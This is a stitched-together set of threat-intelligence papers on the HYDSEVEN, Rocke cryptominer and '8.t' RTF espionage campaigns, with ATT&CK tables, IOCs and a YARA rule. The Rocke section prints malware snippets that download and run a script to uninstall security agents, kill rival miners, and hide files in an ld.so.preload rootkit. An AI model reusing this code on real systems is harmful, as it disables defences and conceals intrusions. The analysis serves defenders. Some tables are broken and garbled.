As we have seen, the HYDSEVEN attempts to steal the cryptocurrency is performed in a way that is so clever to avoid several security measures and detection. Attack strategy, including the usage of VBA macros embedded in Office document files, exploits of software vulnerabilities, and impersonation of legitimate software installers, are also used to support infection of multi-platform malware. HYDSEVEN incorporates variety techniques to compromise their targets and this adversary is still active also today. We have created this report to help our community to examine future measures such as the discovery of attacks by the same adversaries or its TTP copycats and to improve the prevention methods to reduce damage.

In recent years, with the rapid growth of the cryptocurrency market in Japan and overseas, the cryptocurrency exchanges are in vast growing and mushroomed with the wide-spread usage in cryptocurrency. For attackers, exchanges dealing with large numbers of cryptocurrency business are good targets to hit, and we believe the cyber attacks aimed at cryptocurrency exchanges will increase more and more in the future too. Under these circumstances, we would like to continue to investigate the attacks by HYDSEVEN further and provide you more with recent information, with hoping it is useful for your security improvement.
## Appendix

### MITRE ATT&CK techniques for HYDSEVEN compromised incidents

<table>
<thead>
<tr>
<th>Tactic</th>
<th>ID</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Initial Access</strong></td>
<td></td>
<td><strong>T1189</strong> Drive-by Compromise</td>
<td>HYDSEVEN uses compromised educational sites and used Firefox 0-day vulnerabilities (CVE-2019-11707/CVE-2019-11708)</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>T1193</strong> Spearphishing Attachment</td>
<td>gfgfddsHYDSEVEN attached office document (doc/docx) contains macro to gain exploit to install payloads</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>T1192</strong> Spearphishing Link</td>
<td>HYDSEVEN uses email contains links to a doc/docs file, execution file, or zip/rar files</td>
</tr>
<tr>
<td><strong>Execution</strong></td>
<td></td>
<td><strong>T1059</strong> Command-Line Interface</td>
<td>Malware execute some cmd.exe or “sh” to be used to execute some commands</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>T1086</strong> PowerShell</td>
<td>Malware execute some PowerShell commands to download another malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>T1170</strong> Mshta</td>
<td>Malware uses “Mshta.exe” to execute malicious downloaded hta files contain malicious script code</td>
</tr>
</tbody>
</table>
2. ACE archive disguised as a RAR archive includes an exploit to execute malicious code (CVE-2018-20250)  
3. Uses compromised educational sites and used Firefox 0-day vulnerabilities (CVE-2019-11707/CVE-2019-11708)                                        |
<p>|                         |      | <strong>T1064</strong> Scripting          | Malware uses VBScript and PowerShell for malware execution                                                                                                                                               |
|                         |      | <strong>T1204</strong> User Execution     | Adversary attempts to trick users into running an executable that looks like a legitimate-application (fake installer)                                                                                  |
| <strong>Persistence</strong>         |      | <strong>T1189</strong> Launch Agent       | Malware launches Agent for persistence                                                                                                                                                                  |
|                         |      | <strong>T1060</strong> Registry Run Keys / Startup Folder | Registry key [PATH] \ CurrentVersion\Run is used for persistence                                                                                                                                            |
| <strong>Privilege Escalation</strong>|      | <strong>T1068</strong> Exploitation for Privilege Escalation | HYDSEVEN uses privilege escalation exploit vulnerability (CVE-2016-7255)                                                                                                                               |
| <strong>Defense Evasion</strong>     |      | <strong>T1197</strong> BITS Jobs          | Malware uses BITSAadmin tool to download another malware in its attempt to avoid detection                                                                                                              |
|                         |      | <strong>T1116</strong> Code Signing       | Malware is digitally signed with code-signing certificates                                                                                                                                              |
|                         |      | <strong>T1140</strong> Deobfuscate/Decode Files or Information | Malware uses XOR, Base64, RC4, AES or RSA to obfuscate and encrypt strings                                                                                                                              |
|                         |      | <strong>T1107</strong> File Deletion      | Malware deletes its own executable files (malware and files created) after usage                                                                                                                        |
|                         |      | <strong>T1027</strong> Obfuscated Files or Information | Malware has used XOR, Base64, RC4, AES or RSA to obfuscate and encrypt strings                                                                                                                             |
|                         |      | <strong>T1497</strong> Virtualization/Sandbox Evasion | Malware performs several checks on the compromised machine to avoid possibility on being executed in a sandbox                                                                                           |
|                         |      | <strong>T1099</strong> Timestomp          | The creation time of the files dropped is modified with a random value                                                                                                                                  |</p>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>ID</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discovery</td>
<td>T1083</td>
<td>File and Directory Discovery</td>
<td>Malware can list files and directories</td>
</tr>
<tr>
<td></td>
<td>T1082</td>
<td>System Information Discovery</td>
<td>Malware can get system information and sends it to its C2 servers</td>
</tr>
<tr>
<td></td>
<td>T1057</td>
<td>Process Discovery</td>
<td>Malware can get running processes</td>
</tr>
<tr>
<td></td>
<td>T1012</td>
<td>Query Registry</td>
<td>Malware can query Windows Registry to gather system and email account information</td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>T1021</td>
<td>Remote Services</td>
<td>HYDSEVEN may use valid compromised or brute-forced victim’s accounts to log into a system</td>
</tr>
<tr>
<td>Collection</td>
<td>T1056</td>
<td>Input Capture</td>
<td>Malware can capture Keystroke logging</td>
</tr>
<tr>
<td></td>
<td>T1113</td>
<td>Screen Capture</td>
<td>Malware can capture screenshots</td>
</tr>
<tr>
<td></td>
<td>T1123</td>
<td>Audio Capture</td>
<td>Malware can capture audio</td>
</tr>
<tr>
<td></td>
<td>T1005</td>
<td>Data from Local System</td>
<td>Malware can collect files from the local file system</td>
</tr>
<tr>
<td></td>
<td>T1114</td>
<td>Email Collection</td>
<td>Malware can collect sensitive information related to email and webmail</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>T1041</td>
<td>Exfiltration Over Command and Control Channel</td>
<td>Malware sends exfiltrated data to C2 servers</td>
</tr>
<tr>
<td></td>
<td>T1022</td>
<td>Data Encrypted</td>
<td>Malware sends hex-encoded data, encrypted with a known algorithm or a custom one</td>
</tr>
<tr>
<td>Command and Control</td>
<td>T1043</td>
<td>Commonly Used Port</td>
<td>Malware uses ports 80 and 443 for C2 communication</td>
</tr>
<tr>
<td></td>
<td>T1090</td>
<td>Connection Proxy</td>
<td>Malware can act as a proxy</td>
</tr>
<tr>
<td></td>
<td>T1094</td>
<td>Custom Command and Control Protocol</td>
<td>Malware can exfiltrate data by using TCP-based custom protocol</td>
</tr>
<tr>
<td></td>
<td>T1024</td>
<td>Custom Cryptographic Protocol</td>
<td>Malware uses communication with the C2 servers is hex encoded and encrypted with AES</td>
</tr>
<tr>
<td></td>
<td>T1132</td>
<td>Data Encoding</td>
<td>Malware uses communication with the C2 servers is base64 encoded</td>
</tr>
</tbody>
</table>

**References**

[2] [https://blog.coinbase.com/responding-to-firefox-0-days-in-the-wild-d9c85a57f15b](https://blog.coinbase.com/responding-to-firefox-0-days-in-the-wild-d9c85a57f15b)
[4] [https://www.virustotal.com/gui/home](https://www.virustotal.com/gui/home)
Abstract

For years, malware threats have been constantly evolving due to financial gains and valuable information that can be obtained. One of the most active threat actor groups who specialize in cryptomining is the Rocke group. Operating mainly in China, the group targeted Linux servers running vulnerable services to hijack their resources for cryptocurrency mining. It is well known for using the technique of installing a rootkit in order to hide malicious activities from system monitoring tools.

We first encountered the group in October 2018. Redis servers were infected by a cryptomining malware bundled with a userland rootkit component that hides the malicious process from common monitoring tools. The rootkit uses Linux’s ld.so.preload in order to hook specific libc functions. Pastebin was also used by the group for its C&C operations, using the site to host and roll out updates for its malware.
Around April 2019, we encountered another Rocke campaign with similar tactics and techniques as last year’s. The second campaign expanded its arrival methods by using multiple exploits to propagate itself. Its rootkit component was also heavily revamped: Not only was it able to hide the miner process, but it was also already capable of forging CPU usage statistics and network traffic information.

In this study, we will provide a comprehensive end-to-end technical analysis of the two Rocke campaigns. The various effective techniques used by the group to evade detection by threat analysts and system administrators will be thoroughly explored. More importantly, we will present the methods to circumvent those techniques.
Introduction

Malicious cryptocurrency miners captured the attention of the cybersecurity world when they first appeared in 2017. Closely following the value of cryptocurrencies, the volume of these threats changed over the years, experiencing a steady decline after the cryptocurrency crash in 2018 \[1\] and then undergoing a revival as the market recovered in 2019 \[2\] \[3\]. Their complexity has also increased over time. No longer are cryptocurrency threats limited to simple scripts running on browsers; some are now fairly sophisticated threats that use multiple techniques to avoid detection and removal.

In fact, one threat actor named “Rocke” became known for its cryptomining campaigns that utilized various components. \[6\] We will focus on the group's two campaigns that occurred on October 2018 and March 2019. Both of these attacks featured a different cryptomining threat that used a rootkit to hide the presence of its illicit mining operation. Due to their stealthy nature, we called these threats the mining ninjas.
Korkerds

The first mining ninja, Korkerds, was a notable cryptocurrency-mining malware bundled with a rootkit component. It hides the presence of the mining process from system monitoring tools and removes traces of its activity, leaving inexperienced system administrators wondering about the very high CPU usage of the infected machine. Designed to persist in the system for a long time, the malware is also capable of updating and upgrading itself and its configuration file. For its command-and-control (C&C) operations, the handlers of the malware use Pastebin to host their files and roll out updates.

Arrival

Korkerds infiltrates a system by first using a Python-based scanner to search for vulnerable Redis servers to infect. The Redis service being misconfigured gives this malware a valid account to do its malicious routines.

Korkerds was also updated to infect machines that are accessible via SSH. Machines that trust SSH connections coming from a Korkerds-infected machine will also be affected by the malware.

The infection starts with the execution of a series of shell scripts hosted on Pastebin. To achieve persistence, Korkerds installs a cron job on its host machine that will periodically download and execute its malicious scripts.
Some versions of Korkers even sabotage the defenses of the infected machine by uninstalling specific security products.

```
function a() {
    if ps aux | grep -i 'align'; then
        wget http://update.align.com/download/uninstall.sh
        chmod +x uninstall.sh
        ./uninstall.sh
    elif ps aux | grep /quartz_uninstall.sh
        rm -rf /etc/init.d/agentwatch /usr/sbin/align-service
        rm -rf /usr/local/align*
        /usr/local/qcloud/agent/admin/uninstall.sh
        /usr/local/qcloud/agent/bin/uninst.sh
        /usr/local/qcloud/monitor/bin/admin/uninstall.sh
    fi
    touch /tmp/a
}
```

To maximize its use of the victim machine's resources, the mining ninja kills other active cryptomining-related processes. The malware kills processes that either have specific names or connect to certain IP addresses or ports.

```
function kills() {
    pkill fcoinplug
    pkill uMTKg
    kill dgg
    rm -f /tmp/dgg
    rm -f /tmp/umTKg
    rm -f /boot/grub/deamon
    rm -f /boot/grub/diskgenius
    rm -f /tmp/httpd.conf
    rm -f /tmp/httpd.conf
    rm -f /tmp/httpd.conf
    rm -f /tmp/httpd.conf
    rm -f /tmp/httpd.conf
    rm -f /tmp/httpd.conf
    xrig
    pkill xrigminer
    pkill xrig
    pkill cryptonight
    pkill stratum
}
```
Rootkit

Korkers utilizes a userland rootkit component (based on a publicly available code named libprocesshider) that provides stealth for its mining operation. The rootkit hooks the readdir() libc function in such a way that if its parameter contains "/proc", the rootkit would check if the directory readdir is opening the PID of the miner process. If it is, the rootkit would return the error, "No such file or directory."

Hiding in the Shadows

Shown below is the baseline behavior of ntop (a Linux system monitoring tool) when a cryptominer is running. It shows a 100% CPU Usage and the processes (/tmp/kworkerds) that causes it.

In Linux, the file ld.so.preload provides users a non-invasive method of changing the behavior of a program. A libc feature, shared libraries (the Linux equivalent of DLLs) listed in ld.so.preload will be loaded before all others, allowing malicious actors to hook and change the behavior of libc functions.
Shown in the figure below is an ntop window affected by the rootkit. While the high CPU usage caused by the mining operation can still be seen, the process that causes it is now hiding in the shadows.

**Miner**

The miner payload of Korkerds is downloaded and executed by one of its shell scripts. Typical to most cryptocurrency miners, the infected machine is likely to be noticeably slow upon activation of the miner payload.

While the rootkit used by Korkerds hides the miner process, the high CPU usage caused by the malware may still tip off users. Furthermore, savvy system administrators may check the ld.so.preload file for suspicious changes, making its rootkit easy to detect and remove. These weaknesses were addressed by the Rocke group in their next campaign.
Kerberods

In May 2019, we encountered an upgraded version of Korkerds targeting vulnerable servers via an exploit. The threat, called Kerberods, now has more arrival methods and is also packed using a slightly modified UPX packer. It is also stealthier compared to Korkerds since the rootkit component bundled with it is capable of hiding not only processes but also files, and it is also able to forge CPU and network statistics.

Arrival

Our telemetry detected the Kerberods threat exploiting a vulnerability disclosed early this year, CVE-2019-3396. Upon inspection of the malware, we found other vulnerabilities (CVE-2019-1003001 and CVE-2019-1003000) exploited by the malware to infiltrate and infect other machines.

Similar to Korkerds’ routine, the infection routine of Kerberods starts with the execution of a series of shell scripts hosted on Pastebin. The Pastebin account used to host those files are now PRO account, meaning it has a larger maximum paste size and unlimited private pastes, which is beneficial to the malware authors. In addition, as in the case of its predecessor, the executed shell scripts would kill and delete other cryptominers present in the machine.

Software Packing

The executable components of Kerberods contain strings that claimed the file was packed using a custom executable packer. Through further inspection of the files, it was discovered that they were simply packed by UPX packer with the magic number modified so that the Linux UPX tool will not properly detect the files. Reverting the magic number back to "UPX!" will allow the UPX tool to unpack the malware components.

Figure 15. SYM packer

Figure 16. File viewed in Hiew
Rootkit

Like Korkerds, the rootkit used by Kerberods is also based on a publicly available code named jynx-kit. It is also a userland rootkit that abuses the ld.so.preload file to change the behavior of various functions. While its predecessor only hides the miner process, the new rootkit employed by Kerberods now hides the malware component files, C&C network traffic, and the high CPU usage caused by the illicit coin mining operation.

Dropping Routine

The rootkit is dropped by writing its source code to a file wherein afterwards, it is compiled and installed on the system by writing the file path of the compiled shared object library to the /etc/ld.so.preload file. We construe that this dropping routine was to ensure that the rootkit would work properly on its host machine. While the rootkit source code is deleted by the malware, we were able to retrieve it using the strace command.

Hiding Files

The Kerberods mining ninja now has improved stealth techniques. The rootkit hides the following files: the miner binary, ld.so.preload file, and itself. To hide them, it checks the parameters of its hooked functions and if they contain their filenames. If a parameter matched with any of the strings, the rootkit would return the “No such file or directory error.”

```
#define MAGIC_STRING "khugepageds" // Hidden file
#define MAGIC_DEAMON "kerberods" // Hidden process
#define CONFIG_FILE "ld.so.preload" //
#define LIB_FILE "liblzo22.so" // rootkit file
#define MAGIC_PORT 51640 // Hidden network traffic
```

Figure 17. The rootkit configuration showing the filenames, process, and the port number the rootkit would try to hide

```
if (strstr (file, LIB_FILE) || strstr (file, CONFIG_FILE) || strstr (file, MAGIC_STRING)) {
    errno = ENOENT;
    return -1;
}
```

Figure 18. The code inserted into the rootkit’s hooked functions to check whether their parameter contains the names of the files to be hidden

Hiding Network Traffic

To hide the network traffic of the malware, the rootkit hooks the reading of /proc/net/tcp file, which is the file read by most system tools like netstat to list the active network connections in the system.
Forging CPU Statistics

Since having a constantly high CPU usage is an indication of a cryptominer infection, the rootkit hooks the reading of the /proc/stat file. This file contains various information about kernel activity, including the amount of time the CPU has spent doing a specific task. To hide the presence of mining activity, the rootkit returns a hardcoded data instead of the actual contents of the /proc/stat file.

Figure 19. The code for network traffic

Figure 20. The code for forging CPU statistics

Figure 21. Side-by-side comparison of the baseline behavior of the ntop system monitoring tool and its behavior upon installation of the rootkit
Providing Malware Persistence

Aside from stealth, the rootkit also provides Kerberods a form of persistence. It is done by hooking access(), a function used to check whether the calling process can access a specific file. Each time access() is called, the rootkit would install a cron job that would reinfect the machine with Kerberods.

Clean-up

Userland rootkits abusing the ld.so.preload file can be removed by simply removing their file path in the file. However, in the case of Kerberods, where the ld.so.preload file is also hidden, cleaning up the malware requires the use of tools that utilize statically linked libraries like sash (standalone shell) or BusyBox. After the removal of the rootkit, removing the other components of the malware will be simple.

Conclusion

Cryptomining Linux malware are increasingly becoming common. This may be due to most servers running on Unix or Unix-like operating systems. Because servers typically have greater computing power and uptime compared to their desktop counterparts, they are prime targets for cryptomining threats.

Other cryptominers that also use rootkits to avoid detection should be anticipated. As the cybersecurity arms race goes on, we expect more complex rootkits to surface.

References

Curious tale of 8.t used by multiple attack campaigns against South Asian countries

Niranjan Jayanand / Microsoft

Abstract

This research paper would cover long running multiple attack campaigns targeting South Asian officials mainly working in Government, Oil, Media, Maritime, defense contractors, universities (particularly those with military research ties), legal organizations. The main motivation behind these waves of attacks is Espionage aligned with commercial and South China Sea issues for Intellectual property theft and military espionage.

A common trait that was identified was use of a file name “8.t” for shellcode when the vulnerable RTF file was executed in a vulnerable environment before dropping different Remote Administrative Tools.

Niranjan Jayanand Experienced Principal Threat Intelligence Analyst with a demonstrated history of Threat group hunting, Reverse Engineering, Yara, Anti virus signature creation and Threat report writing for customers. Over 60 plus proactive hunting and reporting of MENA origin threat attacks and PRC origin attacks ahead of competitors. Sound knowledge on leveraging and pivoting through internal telemetry data. Currently working as Threat Intelligence Manager at Microsoft.
Introduction

In the interesting campaigns we analyzed, it was identified that multiple targeted attack hitting South Asian countries were using Microsoft Office vulnerabilities namely CVE-2017-11882, CVE-2017-0199 and CVE-2017-8759. From a public blog, it was also reported that a unique object dimension present in RTF phishing files weaponized with CVE-2017-11882 and CVE-2018-0802 which appear to be utilized in these attacks. The identified RTFs all share a unique object height and width, which determine how the object will be rendered in Microsoft Word. We used this to expand our research to track multiple campaigns.

This topic was presented as Last-minute paper presentation in VirusBulletin 2019, London. Most of the research was conducted along the same time when researchers from Anomali and Proofpoint were tracking the campaigns, which was also presented by them in VirusBulletin 2019, London.

Once the victim executes the poisoned Microsoft Office files, the shellcode that decrypts the final payload in memory were all identified to use one constant file name “8.t” across all the campaigns. Some of the identified payloads are NewCore RAT, Hawkball Backdoor, Fucobha, QCRat, PlugX, htpRAT and an unnamed RAT. Most of these Remote Administration Tools relied on DLL Side Loading technique to survive on reboot. It is very rare to see possibly multiple targeted attack campaigns to use same shell code name and two different shell code decryption logics to drop and execute final RAT payload on victim machines, across all these identified different APT campaigns. It was also identified that attackers come back to target almost same Victim organizations in South Asian countries over this time. At certain time, different campaigns likely had an infrastructure overlap.

Victimology

Figure 1. Victimology

Figure 2. Geographical distribution of victimology
Infection Chain

The campaigns we covered are on different Remote Administration Tools, which were dropped by vulnerable RTF files, Hence the actors were heavily relying on Spear phishing email attacks to infect victims.

In the campaigns we discuss below, we are mainly focusing on 8.t file which was dropped on execution of RTF exploit file, and later decrypted to drop the final payload, in this case different Remote Administration Tools.

Hunting methods

We relied heavily on both OSINT and internal telemetry research for hunting down IOCs related to the campaign. Once we had enough data, we correlated the findings to connect the dots to get better picture on different campaigns. We also reviewed other researcher papers or blogs for our hunting like the blog post from Anomali.

YARA

We also used multiple YARA signatures to collect more droppers from third party data sets like VirusTotal. Few YARA signatures were shared in blogs and research papers like the one below which is based on RTF file object dimensions.
Different 8.t Campaigns observed

1. Danti Campaign has 8.t relation

We also used multiple YARA signatures to collect more droppers from third party data sets like VirusTotal. Few YARA signatures were shared in blogs and research papers like the one below which is based on RTF file object dimensions.

During our Threat Hunting, we came across a malicious RTF file (Sha256: 9528dd205c12965052a21163025d11e77bad70023a9fe01c13d769d213026420), which on exploitation on a vulnerable environment was observed to drop 2 files.

C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\calc.wll – c0453515de343f5f58770bc9fa9b6c75e5b0d1656eb7302a844a4e9976452

C:\Users\admin\AppData\Local\Temp\8.t - AF3066C0B73A39F784EC8565398SCF7195DB0DA9EE3CCD8A1FF4B18CFFDE2

The dropped file calc.wll is a DLL file, with export f has an IP hard coded 77.224.211.51

Figure 4 & 5. YARA signatures

Figure 6. IP hardcoded DLL file calc.wll
The file has compilation timestamp of 2019-05-05

<table>
<thead>
<tr>
<th>Target machine</th>
<th>Intel 386 or later processors and compatible processors</th>
</tr>
</thead>
<tbody>
<tr>
<td>Compilation timestamp</td>
<td>2019-05-06 02:59:33</td>
</tr>
<tr>
<td>Entry Point</td>
<td>0x0000754B</td>
</tr>
<tr>
<td>Number of sections</td>
<td>5</td>
</tr>
</tbody>
</table>

Table 1. Timestamp of DLL file calc.wll

The dropped file 8.t is an encrypted file, having below content. This file serves as an Indicator of Compromise telling us if a machine is infected or not.

```
84     DAY 1—TRACK 1   AVAR 2019
[14x831]84     DAY 1—TRACK 1   AVAR 2019
```

Figure 7. Content of dropped file 8.t
When hunting for more IOCs, so when looking for malicious RTF files connecting to 77.224.211.51, three more RTF files were found with similar metadata information.

<table>
<thead>
<tr>
<th>SHA 256</th>
<th>Metadata info</th>
</tr>
</thead>
<tbody>
<tr>
<td>9528dd205c12965052a21163025d11e77 bad70023a9fe01c13d759d213026420</td>
<td>Revision time: 2019-06-19 16:29:00&lt;br&gt;Version number: 32859&lt;br&gt;Editing time: 1&lt;br&gt;Author: ILD&lt;br&gt;Company: MFA KR&lt;br&gt;Number of pages: 1&lt;br&gt;Creation time: 2018-06-14 02:55:00&lt;br&gt;Print time: 2013-07-23 09:55:00&lt;br&gt;Version: 6&lt;br&gt;Number of characters: 0&lt;br&gt;Number of words: 0&lt;br&gt;Operator: Administrator&lt;br&gt;Number of non whitespace characters: 0</td>
</tr>
<tr>
<td>573f6ffe5351788ddb3e2ca4546ab920d5706df53a6db7ad8f72c7c148d9db04</td>
<td>Revision time: 2018-10-15 12:01:00&lt;br&gt;Version number: 32859&lt;br&gt;Editing time: 1&lt;br&gt;Author: ILD&lt;br&gt;Company: MFA KR&lt;br&gt;Number of pages: 2&lt;br&gt;Creation time: 2018-06-14 02:55:00&lt;br&gt;Operator: Windows User&lt;br&gt;Print time: 2013-07-23 09:55:00&lt;br&gt;Version: 10&lt;br&gt;Number of characters: 3142&lt;br&gt;Number of words: 446&lt;br&gt;Number of non whitespace characters: 3581</td>
</tr>
<tr>
<td>201cfb4c586b7da1d7dab8a8d067003b114073f025db05fdbe05fdeb2a81ab21f00d4a</td>
<td>Revision time: 2019-07-17 17:23:00&lt;br&gt;Version number: 49247&lt;br&gt;Editing time: 5&lt;br&gt;Author: ILD&lt;br&gt;Company: MFA KR&lt;br&gt;Number of pages: 1&lt;br&gt;Creation time: 2018-06-14 02:55:00&lt;br&gt;Operator: kmWmkC9&lt;br&gt;Print time: 2013-07-23 09:55:00&lt;br&gt;Version: 7&lt;br&gt;Number of characters: 35&lt;br&gt;Number of words: 6&lt;br&gt;Number of non whitespace characters:</td>
</tr>
</tbody>
</table>
Two of the RTF files (submitted from KZ to Virustotal) bring the below lure theme image on execution.

![Figure 8](image)

We took one RTF to check on replication, and it was identified that it dropped four PE files (three executables and one DLL file) making an outbound connection to 185.200.116.181.

![Figure 9](image)

Looking at the strings of the dropped DLL file, reveals readable strings.

![Figure 10](image)

A quick google search pointed to YARA repo in github and OSINT reveals the dropped DLL belong to Danti malware family.
2. BackDoor.HawkBall campaign has 8.t

FireEye blogged about a targeted attack against South Asian government offices in June 2109. The RTF file used in the attack on exploiting vulnerable system, was dropping 8.t file in %temp% folder. We looked into the payload and our analysis yield the same information on the payload capability. HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.
The encrypted shell code 8.t file has similar content to as Case 1 on RTF dropping Danti. The C2 IP connected remotely was 149.28.182.78.

```
57 34 77 46 a8 60 f2 a6 ca ed 21 19 94 b9 f0 d7 .<uF 7777771
50 d9 c1 1b 10 9f 3e 74 9b 49 3d 66 b0 df 5e b5 3c .*...t.F -=r-<
93 f6 0d 2a 5a 66 f9 45 4f 24 ef 7a 56 c3 e9 .**********...-r-
7d 5a 37 3b ab 73 16 65 30 22 2d 4b 8d 9d 42 dd ...Z-s...r-<
4f 24 f7 4d e9 03 05 9e 03 14 cd 5d e8 0d 3b .......M---<
3a 5f e1 5e 94 f7 99 f0 5f d6 3d 2f 0b db 1a 43 ?1?11?-
8a 95 a0 ce 31 cb 29 c4 97 28 45 28 5d 67 7a 65 ....11111111-
98 1b 4e 34 2d 32 8f 26 7f 03 09 32 69 1f 55 27 .F+++0t+++4
8c 4a 6c b3 43 7f 6e ba 57 91 4c 12 1c db 3c 6b 50 e1 .jC.C M-4-
44 6c 2c d7 80 0f 00 ef df 56 6e 4c 0b 62 b7 d7 D10...nNkb-
0d 75 27 5b 55 6b b6 d3 ac af af b6 57 c1 6c dd ...u-U.v-8-7-
52 de 6b 5c a5 cc 03 ca 04 77 e6 22 56 df 32 75 RI...-w-V9-
2e 56 5d 7b 4d ed 62 86 da 9f 5f d9 fb 65 56 eb ...-e-e-
71 5c c2 52 ed 79 6d 4e aa ac 52 6d 6a 82 89 6a q>...ymw-
2f be ba a5 77 3c ac a9 07 1d eb 0e f7 86 90 72 ...<v<0-3-
49 1f 99 0b 9a 5a 6e 6a e4 fa 96 97 3f f7 78 66 8e ....9-xf-
6f 41 b0 3f ff c5 52 b7 ce 5d 6b 90 bd 64 f2 A7.YR-4-
6d 0f 1c 5c 71 77 0e a4 fe 1c ce ef 3d 5d 53 d1 d>q-5-
42 c5 e7 05 52 6a a9 33 35 ef 2b 5e 3a 00 d1 6f B...R-5-
15 f2 9a 7e f7 77 2b 6c b2 10 c8 20 92 f5 60 68 ...v<-
1e 21 25 45 5e 93 66 e3 d8 66 90 0f fa 4e b7 77 r4X-
7b 85 2b 3b b3 64 ea 67 9e 50 2f 01 46 a5 40 9a s/>=D/5-F-
db 02 db d1 91 62 a9 13 00 95 18 2f a7 61 32 09 ...O.Q....a2-
58 fb dd 6c 9d e7 2b 2b 3a 99 59 3d 8a 42 3...91mH-
ac 02 c0 0d 5b 6f 64 76 27 cb 18 fe 5b b4 ...Mh-kud-
0d 34 ee ca 7f 6e c6 de ae 01 08 29 7c c3 4c 0c ...nL-
5b 5b 87 72 04 f1 72 dd 4b 1b 77 23 54 9d 0d 19 .-1 less-S-1-
0d 50 55 e4 aa b0 d4 b5 5e b0 8b 0b 74 d5 4f 02 ...<-
8e 29 2d 13 f7 5d ce eb 29 3e a3 02 b1 20 fe a-e-.<-
af 99 07 3c ad 16 fb 20 9e 11 ce 0f 90 9d 6b 3f 4...-<s-
05 7b 10 16 60 ca a2 cd a2 74 3d 5d 2a 08 78 5c 6-<.
7e 5c 02 6e 95 54 67 2c 6a 8c c9 24 5d 19 27 77 ...AF-
52 cc 4c 8e 06 1c 9d 31 1b 4d 7d 9e 4c 0b 01 1d 2...Hv-
54 ef fe 6d 2c 46 af 4f 3d 1b 8b 0b 5d 6b 57 0b 4...F(<O)<0-
fa 4d d1 10 f5 43 44 6b 10 ca d5 5b 7e 74 fb ...CD-
3e 1b 7d a1 17 b7 55 9f 8f 0e 2f 4a 7e 7d f7 97 >-...<-
```

Figure 13

HAWKBALL YARA

rule Hawkball
{
  strings:
  $S1 = "MicrosoH"
  $s2 = "hawkeye_dll.dll"
  condition:
    uint16(0) == 0x5a4d and all of them
}
3. **Unknown campaign of script files and 8.t dropped by Malicious RTF file**

Another malicious RTF dropper was identified submitted to Virustotal from Vietnam, which on replication dropped 8.t but no PE files were involved, rather just scripts launching WMI to collect victim machine information and send to attacker command and control server.

bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a was identified with Vietnamese file name Giay moi hoi nghi.doc.
This case the content of 8.t file is simple xored with key 0xFC.

The attacker IP is seen to have hosted malicious document files, mostly Vietnamese theme.
This RTF file has unusual metadata info which were actually base 64 encoded that had C2 ip information too.

4. NewCore RAT campaign using 8.t.

During the research for 8.t shellcode usage with Malcious RTF file possibly targeting Mongolian speaking victims. It was found that an old RAT — NewCore RAT was used in a recent campaign with slight modifications. This RAT is capable of performing below activities in a compromised machine. Fortinet researched on this RAT and blogged here.

- Shutdown the machine
- Restart the machine
- Get disk list
- Get directory list
- Get file information
- Get disk information
- Rename files
- Copy files
- Delete files
- Execute files
- Search files
- Download files
- Upload files
- Screen monitoring
- Start command shell
The dropped 8.t file was huge in size but Xored with 0xFC (shown below), and on decryption was dropping NewCore RAT was Sideloaded in memory.

![Figure 20](image1)

5. Chinoxy BackDoor campaign with 8.t

Chinoxy backdoor was identified dropped by malicious RTF file 152f95a5bdf549c5ca789d0dd99d635ee69cca6fe464ced5b39d0316707a4914, along with three other files (one being 8.t). The lure theme seen on execution of the RTF file is Vietnamese, hence possibly the campaign was intended to target Vietnamese speaking victims.

![Figure 21](image2)
Below diagrams shows the files dropped when the malicious RTF file was executed.

![Figure 22]

6. IceFog Campaign using 8.t

This is another campaign where an old was reused by bad guys to target victims in recent times. IceFog (a.k.a Fucoba) was first reported by Kaspersky in 2013 targeting Japanese victims. This backdoor was seen hitting Windows users and MAC users.

Below slide is from a FireEye researcher that talks about IceFog does Fileless technique to target victims, using 8.t in it's kill chain.

![Figure 23]
Public Reporting

Competitors have attributed different campaigns to different APT tools depending on tools used or infrastructure overlap if seen. Below are two examples.

Figure 24

<table>
<thead>
<tr>
<th>Actor</th>
<th>Targeting</th>
<th>Potential Motivation</th>
<th>Methodology</th>
<th>Unique Tools</th>
</tr>
</thead>
<tbody>
<tr>
<td>Goblin Panda, a.k.a. Conimes</td>
<td>Vietnam and Southeast Asia</td>
<td>Espionage aligned with commercial and South China Sea issues</td>
<td>RTF Phishing followed by shellcode executed via an OLE package dropping distinctive source file</td>
<td>QCRat Payload</td>
</tr>
<tr>
<td>Temp.Periscope, a.k.a. APT40, a.k.a. Leviathan</td>
<td>U.S. Defense; Maritime; Academic Institutions; International &amp; Political organizations</td>
<td>Intellectual property theft and military espionage</td>
<td>RTF Phishing followed by shellcode executed via an OLE package dropping distinctive source file</td>
<td>DADBOD, EVILTECH, AIRBREAK, HOMEFRY, MURKYTOP</td>
</tr>
<tr>
<td>Nomad Panda &amp; Dagger Panda, a.k.a. Temp.Trident, a.k.a. Icefog</td>
<td>Mongolia and Central Asia</td>
<td>Economic espionage for Belt &amp; Road Initiative</td>
<td>RTF Phishing followed by shellcode executed via an OLE package dropping distinctive source file</td>
<td>Fucobha Payload</td>
</tr>
</tbody>
</table>

Figure 25. Figure 1 from Anomali blog
MITRE ATT&CK Techniques:

Some of the attack IDs captured for identified campaigns are:

- T1022Data Encrypted
- T1116 Code Signing
- T1703 DLL Sideloading
- T1193 Spear phishing Attachment
- T1060 Registry Run Keys / Startup Folder
- T1113 Screen Capture
- T1056 Input Capture
- T1057 Process Discovery

References

Sweet'n Sour in Poison: Case Study of Espionage Campaigns Targeting Japan

Ayako Matsuda / FireEye

Abstract

